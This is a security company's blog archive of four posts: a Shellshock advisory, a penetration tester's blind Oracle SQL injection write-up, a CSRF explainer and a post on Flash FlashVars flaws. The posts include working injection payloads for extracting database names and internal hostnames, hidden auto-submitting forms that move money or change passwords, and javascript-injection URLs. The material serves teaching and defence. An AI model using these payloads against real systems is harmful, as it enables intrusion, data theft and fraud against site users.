Tag Archives: exploit

Shellshock Vulnerability – What It Is & Recommendations

Shellshock VulnerabilityUPDATE – 9/26, 1:35 p.m. PT: Customers with WAFs (Web Application Firewalls), IPS’, and other security devices may have noticed that we have some checks already in place, with results / vulnerabilities coming out of the system. The nature of the Shellshock vulnerability requiring only a single http(s) request means that the number of attack vectors are numerous and as such we will be continuing to improve our testing methodology in the days and weeks to come. It is of the utmost importance that we reiterate the importance of checking your systems directly and patching as other services may be available such as SSH, CUPS and DHCP.

UPDATE – 9/25, 5:00 p.m. PT: The WhiteHat Research & Development team has been working hard to dissect the Shellshock issue and deploy additional checks as necessary to Sentinel.

Prior to the announcement of Shellshock, WhiteHat Sentinel Source had already been testing for applications making use of untrusted data in conjunction with the operating system’s shell interface to execute native commands and applications writing untrusted data to a system environment variable. In the Bash shell, injection into an environment variable can also lead to remote code execution. Failure to properly validate and or encode data utilized by the shell allows an attacker to execute arbitrary operating system commands. This is dangerous because environment variables can be used in other parts of the application, external process on the host, or even other applications. Many applications implicitly trust environment variables to be safe, so this data is often not checked for suspicious activity. Both of the checks in Sentinel Source are able to accurately identify the type of behavior that Shellshock is vulnerable to.

The ‘Shellshock’ exploit (CVE-2014-6271) announced yesterday is a vulnerability found in the Bash command interpreter. Bash is the shell, or command language interpreter, whose name is an acronym for the ‘Bourne-Again Shell.’ Injection vulnerabilities in web apps are a death blow: they are the one class of vulnerability that accounts for more data loss than all other vulnerabilities. The Shellshock bug is a code-injection vulnerability that allows an attacker to pass commands to Bash to execute arbitrary code. This is a critical issue for any application that evaluates user input and calls other applications via a shell. The CVE severity score for Shell Shock is 10 on a scale of 1 to 10. Given that this vulnerability is known to be ‘wormable’ 10 almost seems like it is not high enough. This issue is likely to be of greater concern than Heartbleed (which we posted about here and here) was earlier this year.

The extent to which this vulnerability affects the web is still unfolding. WhiteHat has confirmed that cgi-script based web applications may be vulnerable, especially those that call other applications via the shell. Apache servers using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. We have also observed several working pieces of exploit code in the wild that requires a minimal amount of technical expertise to execute. WhiteHat is implementing a detection for this vulnerability to identify the existence of this critical vulnerability in their web applications. At this time is highly advisable that you patch all systems running Bash. Additionally, there are several working mitigations currently available for this vulnerability:

  1. Upgrading to a new version of bash
  2. Replacing bash with an alternate shell such as zsh
  3. Limiting access to vulnerable services, or filtering inputs to vulnerable services

Editor’s note: Want to learn more about Shellshock? Register for our town hall discussion.

We will continue to provide regular updates as they become available.

Other Resources for more information on this bug as it unfolds:
GNU bash Environment Variable Processing Flaws Let Users Execute Arbitrary Code
Shellshock DHCP RCE Proof of Concept
[SECURITY] [DSA 3032-1] bash security update
Bash specially-crafted environment variables code injection attack
Bash ‘shellshock’ bug is wormable
Everything you need to know about the Shellshock Bash bug
Bash ‘shellshock’ scan of the Internet
Quick notes about the bash bug, its impact, and the fixes so far
Bash specially-crafted environment variables code injection attack
Environment Bashing

In Your Oracle: Part Two

In Micheal‘s previous post, ‘In Your Oracle: The Beginning‘, he introduced a blind SQL Injection vulnerability that a client was asking us to dig deeper into. The client wanted us to do this, because while they recognized that the vulnerability was real, actionable, and a threat – especially to their users – they weren’t convinced of its severity. Instead, the client claimed that the vulnerability could only be leveraged to read data already intended to be accessible by the logged-in user. In other words, the SQL query was executing within the context of a low-privileged database user.

A quick aside: I had a different client who recently downplayed the severity of an SQL Injection vulnerability because the result set was being parsed and formatted before being incorporated into the response. Because of this behavior, they didn’t think any data could be accessed other than what was intended to be parsed and formatted into the page. Aside from being able to UNION other data into the result set, or simply to brute force dropping tables, I introduced the client to something Micheal touched on in his post: The true/false/error condition. More on this in a minute.


The Vulnerability

The vulnerability that Micheal and I were digging into did not involve the entire result set being output to the page, so we couldn’t simply UNION other data and get it all dumped back to us. That’s because the application would execute an SQL query – using an ID that was being supplied in the query string – and the first row of data returned by the query would be used to determine the response. Therefore, we could only return a limited amount of data at a time, and that data would have to conform to certain data types – otherwise, the page would error out.

Here’s an example of what the back-end SQL query may have looked like (though, in reality, it was much more complex than this):

SELECT * FROM listingsData WHERE id='504'

And an example of the URL we were injecting on:

http://example.com/somepage?id=504

And last, but not least, an extraordinarily simplified example of the output from the page:

Listing ID: 504
Listing Entity: Acme, Inc.
Listing Data: <a table of data>


The True/False/Error Condition

When an SQL Injection vulnerability can’t be leveraged to just dump rows upon rows of data, a true/false condition can allow an attacker to fuzz the database, and determine the table and column names, the cell values, and more. Basically, with a reliable true/false condition, an attacker can brute force the entire database in a practical amount of time.

However, due to strange behavior from the application (plus what we suspected was a complex query syntax that we couldn’t discern), we were not able to simply append our own WHERE clause condition, like this:

http://example.com/somepage?id=504'%20AND%201=1%20AND%20''='

We were, however, able to perform string concatenation. Injecting id=5'||'0'||'4 would give us the same response as id=504. We also discovered that id=54 would result in the following response:

Listing ID:
Listing Entity:
Listing Data:

Furthermore, we found that a syntax error, such as what id=' would cause, produced the following response:

An error has occurred. Please try again.

In Oracle, there exists a dummy table called ‘dual‘. We were able to use this table, in combination with string concatenation and a sub-query, to establish a boolean condition:

http://example.com/somepage?id=5'||(SELECT%200%20FROM%20dual%20WHERE%201=1)||'4

The URL encoding makes it look messy. Here’s the URL-decoded version of our injection:

5'||(SELECT 0 FROM dual WHERE 1=1)||'4

Because the WHERE clause of our sub-query evaluated to TRUE, the SELECT would return a zero, which got concatenated with the 5 and 4, and became 504. This injection resulted in Acme, Inc.’s information being returned in the page, and became our TRUE condition.

Now consider this injection (URL decoded for readability):

5'||(SELECT 0 FROM dual WHERE 1=0)||'4

Because the WHERE clause evaluated to FALSE, the SELECT returned nothing, which got concatenated with 5 and 4, and became 54. This injection resulted in blank listing data in the response, and was considered to be our FALSE condition.

The TRUE condition let us know when the WHERE clause of our sub-query evaluated to TRUE, and the FALSE condition told us the inverse. The error condition (described a few paragraphs above) let us know if there was a syntax error in our query (possibly due to characters being unexpectedly encoded).

Now that we had established a reliable true/false/error condition, we could start having some fun.


The Good Stuff

We were able to use the true/false condition to brute force some pieces of information that we figured the client did not intend logged-in users to obtain, such as the database name (from this point forward, all injections will remain URL-decoded for the sake of readability):

5'||(SELECT 0 FROM dual WHERE SUBSTR(SYS.DATABASE_NAME, 1, 1) BETWEEN 'a' AND 'z')||'4

The above injection took the first character of the database and determined if it was a lowercase letter. If true, we’d get Acme, Inc.’s data in the response; if false, we’d get blank listing data.

We could quickly brute force each character by cutting our BETWEEN range in half for each test. For example, if the above injection resulted in a TRUE condition, then we could figure out which lowercase letter the database name started with by using the following process:

Cut the range of characters in half:

5'||(SELECT 0 FROM dual WHERE SUBSTR(SYS.DATABASE_NAME, 1, 1) BETWEEN 'a' AND 'm')||'4

If the above resulted in a TRUE condition, then we knew the letter was between ‘a’ and ‘m’, and could then test for it being between ‘a’ and ‘g’. If the above resulted in a FALSE condition, then we’d drill down into the ‘m’ through ‘z’ range. In either case, we kept narrowing the search range until we were able to pinpoint the correct character.

We could then brute force the rest of the database name characters by incrementing the second parameter of the SUBSTR function (2 for the second character, 3 for the third, etc). If we incremented the parameter and got an error condition as a result, we knew we had surpassed the length of the database name.

We could also pre-determine the length of the database name with a similar “test and drill down” technique with this injection:

5'||(SELECT 0 FROM dual WHERE LENGTH(SYS.DATABASE_NAME)>10)||'4

Once we had brute forced the entire value, we verified our finding with this injection:

5'||(SELECT 0 FROM dual WHERE SYS.DATABASE_NAME='dbmaster01')||'4

We were able to extract information from other tables, too, such as:

5'||(SELECT 0 FROM SYS.USER_USERS WHERE SUBSTR(username, 1, 1) BETWEEN 'a' AND 'z')||'4

Using this method, we were able to extract various pieces of information, such as the database name, database user (which the query was being executed with), database user ID, and default table space. However, Micheal and I were not happy stopping there. With the help of pentestmonkey.net, we discovered some interesting Oracle features that gave us some juicy insights into our client’s network.


The Juicy Stuff

Oracle has a couple of variables that allowed us to extract the server’s internal hostname and IP address: UTL_INADDR.get_host_name and UTL_INADDR.get_host_address, respectively. Using the same brute force technique described above, we were able to successfully extract the hostname/IP and verify our findings with the following injections:

5'||(SELECT 0 FROM dual WHERE UTL_INADDR.get_host_name='srvdb01')||'4
5'||(SELECT 0 FROM dual WHERE UTL_INADDR.get_host_address='10.1.20.5')||'4

What we found even more interesting was the fact that UTL_INADDR.get_host_name would accept a parameter – an IP – and would allow us to basically perform DNS queries through the SQL Injection vulnerability:

5'||(SELECT 0 FROM dual WHERE LENGTH(UTL_INADDR.get_host_name('10.1.20.6'))>0)||'4

If the above resulted in a TRUE condition, we knew the IP resolved successfully, and we could proceed with brute forcing the hostname. If the result was a FALSE condition, we’d presume the IP to be invalid.

Micheal and I, being the PHP fans that we are, collaborated with each other to automate the entire process. Several hundred lines of code later, we were able to quickly harvest dozens of internal IPs and corresponding hostnames – information that would come in quite handy for a network-level attack, or even for a social engineering approach (“Hi, I’m Matt from IT. I’m having trouble logging in to srvdb01 at IP 10.1.20.5. Is the root password still “qSSQ[W2&(8#-/IQ4b{W;%us”?).


Conclusion & Take-Aways

Never assume that you know the full extent of the threat that a vulnerability represents to your organization. While you can reach a particular level of confidence in your knowledge and understanding of the situation, you never know what new and imaginative avenues of attack or combinations of techniques an attacker may discover or create – like mapping out your internal network through an SQL Injection vulnerability.

Imagination is more important than knowledge. For knowledge is limited to all we now know and understand, while imagination embraces the entire world, and all there ever will be to know and understand.” -Albert Einstein

My First CSRF

My First Cross-Site Request Forgery Experience

A while back I was sifting through the posts of my friends on one of today’s popular social networking sites when I saw an odd video called “baby elephant giving birth” – or something to that effect – posted by several of my friends. This tingled my security-spidey senses. I knew something wasn’t legit, but I didn’t know exactly what. I decided to get on an old desktop I rarely use to check it out.

This is what happened: I click the link and am warned that I’m leaving the safety of socialnetworksite.com. The video opens in a new tab and begins to play. I close the tab and return to my profile to see that I had now posted “baby elephant giving birth” for all of my friends to see. I was a victim of CSRF.

How This Happened

When I originally logged into socialnetworksite.com, it stored my authenticated session within a cookie, and from then on the site would use that cookie to ensure that I am authorized. When I left socialnetworksite.com and loaded the new page, evilsite.example.com, a piece of script was embedded on the evilsite.example.com page that executed upon loading. That script contained a POST request to socialnetworksite.com that posted the baby elephant video to my profile. Because the POST request is sent from my browser, the server checked my browser’s cookies to make sure that I was authorized to make that request, and I was.

How to Protect Against This Occurring as a Developer

The most common and effective form of CSRF protection is with a randomly generated token that is assigned to the beginning of each session and that expires at the end of the active session. You can also generate and expire CSRF tokens for each POST. Some sites use the Viewstate property in ASP.Net sites, but because a Viewstate just records the input data of a form, you can potentially guess what those inputs would be. Granted that a Viewstate is better than no protection at all, a randomly generated CSRF Token is just as easy to implement and much more effective.

Note: If there is Cross-Site Scripting on the same site, the token used is irrelevant, because the attacker can grab the token from your cookies and make whatever authenticated requests he chooses.

How to Avoid This Occurring as a User

Never click on untrusted or unfamiliar links. Make sure that any sensitive web sites you access – your email, banking accounts, etc. – are done in their own browser and kept separate from any other Web surfing.

For a description of how WhiteHat Security detects CSRF, check out Arian Evan’s blog at https://blog.whitehatsec.com/tag/csrf/.

So even though my example of CRSF was relatively harmless, the attack could have just as easily been directed towards a banking website to transfer money. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.

For transferring money, bigbank.com may have a form that looks something like this on its website:

<form name=”legitForm” action=”/transfer.php” method=”POST”>
<b>From account:<input name="transferFrom" value="" type="text">
<br>To account:<input name="transferTo" value="" type="text">

<br>Amount: <input name=”amount” value=”” type=”text
<span><input name=”transfer” value=”Transfer” type=”submit”></span>

</form>

When you fill out and submit the legitForm, the browser sends a POST request to the server that looks something like this:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

transferFrom=111222&transferTo=111333&amount=1.00&transfer=Transfer

Neither of the previous codes is relevant to the user, but they DO give the attacker the structure to build his own evil POST request containing his account information. The attacker embeds the following code onto his website that you clicked on:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”stealMoney” action=http://bigbank.com/transfer.php method=”POST” target=”hidden”>
<input type=”hidden” name=”transferFrom” value=””> ß——-Problem?
<input type=”hidden” name=”transferTo” value=”555666”>
<input type=”hidden” name=”amount” value=”1000000.00”>
<input type=”hidden” name=”transfer” value=”Transfer”>
</form>
<script>document.stealMoney.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. Not only does it not require any user action other than loading the website; there is also no indication to the user that a request was ever sent.

Now here’s another example, but using a “change password request,” instead. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.  Most likely, bigbank.com’s website will have a “Change User’s Password” form that looks something like this:

<form name=”changePass” action=”/changePassword.php” method=”POST”>
<b>New Password: <input name="newPass" value="" type="text">
<br>Confirm Pasword:<input name="confirmPass" value="" type="text">

<span><input name=”passChange” value=”Change” type=”submit”></span>

</form>

When you fill out and submit the valid changePass form, the browser sends a POST request that will look similar to this to the server:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

newPass=iloveyou&confirmPass=iloveyou&passChange=”Change”

Again, while neither of the previous codes is relevant to the user, they DO give the attacker the structure to build his own evil POST request containing the information he wants to submit. The attacker embeds the following code onto his website that you clicked on; then, when the page loads, the code executes:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”makePassword” action=http://bigbank.com/changePassword.php method=”POST” target=”hidden”>
<input type=”hidden” name=”newPass” value=”Stolen!”>
<input type=”hidden” name=”confirmPass” value=”Stolen!”>
<input type=”hidden” name=”passChange” value=”Change”>
</form>
<script>document.makePassword.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. And, as in the example above, not only is no user action required other than loading the website, there is no indication to the user that a request was ever sent.

Vulnerabilities in a Flash

 

Flash Player-related vulnerabilities currently account for approximately 14% of all Web application vulnerabilities discovered by WhiteHat Security. This statistic is surprisingly high considering that HTTP Archive reports 47% of Web applications are currently using Flash technology.

Flash Media Player is an effective method for delivering stylish vector graphics across multiple platforms to enrich a Web user’s experience. When properly designed, Flash makes a website visit interactive and fun. Unfortunately, Flash can also introduce vulnerabilities to an otherwise safe application. Many Flash developers are primarily designers who may have some programming experience, but little – if any – knowledge about Web security.

Flash Player itself has many security restrictions and policies, but users often misunderstand them – or even purposely disabled them to get a particular feature to “work.” Among many Flash designers, there’s also a common misconception that the Flash framework will provide all the protection their applications need.

One of the most frequent comments I get about Flash vulnerabilities is, “Doesn’t my cross-domain policy file protect me from that problem?” Well, the cross-domain policy file does prevent cross-domain data loading for execution; but it is a unidirectional permission that the server hosting the data file grants. The permission does not come from the Flash file. Some people may find the cross-domain policy file to be “backwards” compared to what they expect, and in many attack scenarios the Flash file will first seek permission from the attacker’s domain before initiating the attack.

Flash Player has an in-depth security sandbox model based on the domain where the Flash file is embedded, and I will discuss the scenarios for when a sandbox policy applies and how that policy can be bridged or bypassed – but in a later blog post. In this post I’m going to focus on the simplest and most prevalent method used today on the Web to exploit Flash files – unsanitized FlashVars.

FlashVars

Flash Player supports several methods to declare variables that are to be used in the resulting content. The two most common techniques are: (1) to declare FlashVars in a related javascript block,  or (2) via the param tag within an embed. A third, and sometimes overlooked, method to declare variables is by directly referencing them in a URL query string. Many Flash designers build their projects based primarily on flexibility in order to allow greater customization and wider distribution, but these “features” often allow attackers to make their own customizations – and then exploit the  application.

Typical banner ad with FlashVars to specify remote image and link:

<object>
<param name="movie" value="swf/banner.swf" />
<param name="img" value="image1.jpg" />
<param name="link" value="http://www.whitehatsec.com" />
<embed src="swf/banner.swf" flashvars="img=image1.jpg&amp;link=http://www.whitehatsec.com" />
</object>

Attackers link to SWF:

http://www.example.com/swf/banner.swf?img=http://web.appsec.ws/images/WH.jpg&link=javascript:confirm('Session%20Information%20Sent%20to%20Hacker');//

 

FlashVars with HTML Support

If a Flash file is compiled for HTML support for a given textbox, then an attacker can inject a limited subset of HTML characters to achieve remote code execution. Flash framework supports two main HTML tags that are of interest to an attacker: ANCHOR and IMAGE. A simple SWF file that reflects user input can be used to execute malicious javascript when a user clicks on the file.

Attackers NameTag:

http://www.example.com/swf/nameTag.swf?name=<a href="javascript:confirm(1)">Haxor</a>

 

Server Filter Bypass

With the exception of Internet Explorer, Flash Player will evaluate a query string behind a hash character in all browsers. When a URL query string is placed behind a hash character the browser will not forward the query string with the request for the Flash file, thus allowing an attacker to bypass any attempt at server filtering.

http://www.example.com/flash/main.swf#?text=WhiteHat+Security,+Inc.

 

Internet Explorer Sandbox Bypass

When directly rendering a Flash file in Internet Explorer the browser will first construct an encapsulating document in the DOM to embed the Flash file. The browser will then put in place a security restriction so that the related content will have no access to the related DOM information of the current domain. As in many Microsoft programs, this was a brilliant concept, but the QA performed was inadequate to ensure that it became an effective security measure. So the fact is, if a Flash file containing malicious javascript is reloaded, it will immediately bridge the security control and give an attacker access to the DOM. The victim clicks once, which initiates the reload; then, thinking nothing has happened, clicks the second time – and gets owned.

 

Redirection

A recent Flash 0-day that allowed an attacker to submit arbitrary HTTP headers to an application was the result of an unhandled 307 redirection from a domain controlled by an attacker. Flash Player has always had limitations handling HTTP responses if it receives anything other than a 200 OK. The problem stems from lack of insight into how a given HTTP request is handled by the Web browser. Firefox 4 contains a new API that hopes to remediate this issue by providing additional insight for browser plugins. If a Flash file utilizes an external configuration file an attacker can bypass any attempt to restrict data loading from a given domain if the domain also contains an open redirection. The Flash file will verify that the initial request is for a trusted domain, but will load the malicious configuration file residing on the attacker’s domain.

 

Proof of Concept

The following video demonstrates the common issue of Flash files targeting external XML configurations via FlashVars without properly validating the XML file that resides on a trusted domain. Camtasia Studio’s popular presentation software was used to produce the video, which shows the vulnerabilities present in Camtasia’s own ExpressShow SWF files. The developer of the files, Techsmith, has addressed this issue with a patch that must be manually applied (available via Techsmith Security Bulletin 5). The patch restricts generated Flash files to loading XML configurations that reside on the same domain as the Flash file.

[youtube]http://www.youtube.com/watch?v=cDAefrArPyo[/youtube]

 

References

HTTP Archive
Guya.net – Flash Bug in Internet Explorer Security Model
OWASP Flash Security Project

 

 

Jason Calvert @mystech7
Application Security Engineer
WhiteHat Security, Inc.